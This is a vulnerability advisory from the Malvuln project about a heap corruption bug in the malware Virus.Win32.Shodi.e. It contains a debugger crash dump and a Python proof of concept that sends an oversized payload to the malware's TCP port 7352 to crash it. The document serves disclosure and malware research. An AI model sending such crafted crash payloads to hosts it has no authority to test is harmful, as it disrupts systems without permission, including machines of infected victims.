Virus.Win32.Shodi.e Heap Corruption

Virus.Win32.Shodi.e malware suffers from a heap corruption vulnerability.


MD5 | 60949c07340ca0fca71791f4fa045f98

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/37d4a5ba123dd32f1e2c4ba0be14e77c_C.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Virus.Win32.Shodi.e
Vulnerability: Heap Corruption
Description: The virus listens on TCP port 7352. Third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption.
Type: PE32
MD5: 37d4a5ba123dd32f1e2c4ba0be14e77c
Vuln ID: MVID-2021-0281
Dropped files: Explorer.eXE,Explorer.usr,r_server.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/03/2021

Memory Dump:
(1870.1494): C++ EH exception - code e06d7363 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00000003 edx=00000000 esi=00000003 edi=00000003
eip=77daed3c esp=04b7f4d4 ebp=04b7f664 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
77daed3c c21400 ret 14h

0:007> .ecxr
eax=04b7fe10 ebx=04b7fec0 ecx=00000003 edx=00000000 esi=750c3d38 edi=7373f910
eip=75ec08f2 esp=04b7fe10 ebp=04b7fe68 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
KERNELBASE!RaiseException+0x62:
75ec08f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:04b7fe64=c54505cd

0:007> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for Explorer.eXE
*** ERROR: Module load completed but symbols could not be loaded for Explorer.eXE
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
KERNELBASE!RaiseException+62
75ec08f2 8b4c2454 mov ecx,dword ptr [esp+54h]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 75ec08f2 (KERNELBASE!RaiseException+0x00000062)
ExceptionCode: e06d7363 (C++ EH exception)
ExceptionFlags: 00000001
NumberParameters: 3
Parameter[0]: 19930520
Parameter[1]: 04b7fec0
Parameter[2]: 7373f910

PROCESS_NAME: Explorer.eXE

ERROR_CODE: (NTSTATUS) 0xe06d7363 - <Unable to get error code text>

EXCEPTION_CODE: (NTSTATUS) 0xe06d7363 - <Unable to get error code text>

EXCEPTION_PARAMETER1: 19930520

EXCEPTION_PARAMETER2: 04b7fec0

EXCEPTION_PARAMETER3: 7373f910

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 00001494

DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun

PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun

BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun

LAST_CONTROL_TRANSFER: from 750fa222 to 75ec08f2

STACK_TEXT:
04b7fe68 750fa222 e06d7363 00000001 00000003 KERNELBASE!RaiseException+0x62
04b7feb0 7369679b 04b7fec0 7373f910 737542e8 msvcrt!_CxxThrowException+0x72
04b7fec4 7368f3c7 0000041d 00000200 00000410 mfc42!AfxThrowMemoryException+0x1b
04b7fee4 7368f103 0000041d 0019fea4 73757b18 mfc42!operator new+0x1a467
04b7ff00 73678abf 00000410 004051ec 00000410 mfc42!CString::AllocBuffer+0x16933
04b7ff1c 7369e5bc 00000410 04940488 00000000 mfc42!CString::GetBuffer+0x2f
04b7ff30 7369e474 004051d4 04b7ff50 04b7ff80 mfc42!CString::FormatV+0x2c
04b7ff40 00401814 0019fea4 004051d4 73757b24 mfc42!CString::Format+0x14
WARNING: Stack unwind information not available. Following frames may be wrong.
04b7ff80 755a8654 00000000 755a8630 757b7853 Explorer+0x1814
04b7ff94 77da4a77 00000000 c27680bf 00000000 kernel32!BaseThreadInitThunk+0x24
04b7ffdc 77da4a47 ffffffff 77dc9ec5 00000000 ntdll!__RtlUserThreadStart+0x2f
04b7ffec 00000000 0040173a 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND: !heap ; ~7s; .ecxr ; kb

FOLLOWUP_IP:
mfc42!AfxThrowMemoryException+1b
7369679b cc int 3

SYMBOL_STACK_INDEX: 2

SYMBOL_NAME: mfc42!AfxThrowMemoryException+1b

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: mfc42

IMAGE_NAME: mfc42.dll

DEBUG_FLR_IMAGE_TIMESTAMP: d94bc78

FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_e06d7363_mfc42.dll!AfxThrowMemoryException

BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_mfc42!AfxThrowMemoryException+1b

Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=7352

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD="A"*9402
s.send(PAYLOAD)
s.close()

print("Virus.Win32.Shodi.e / Heap Corruption")
print("MD5: 37d4a5ba123dd32f1e2c4ba0be14e77c")
print("By Malvuln");

if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Related Posts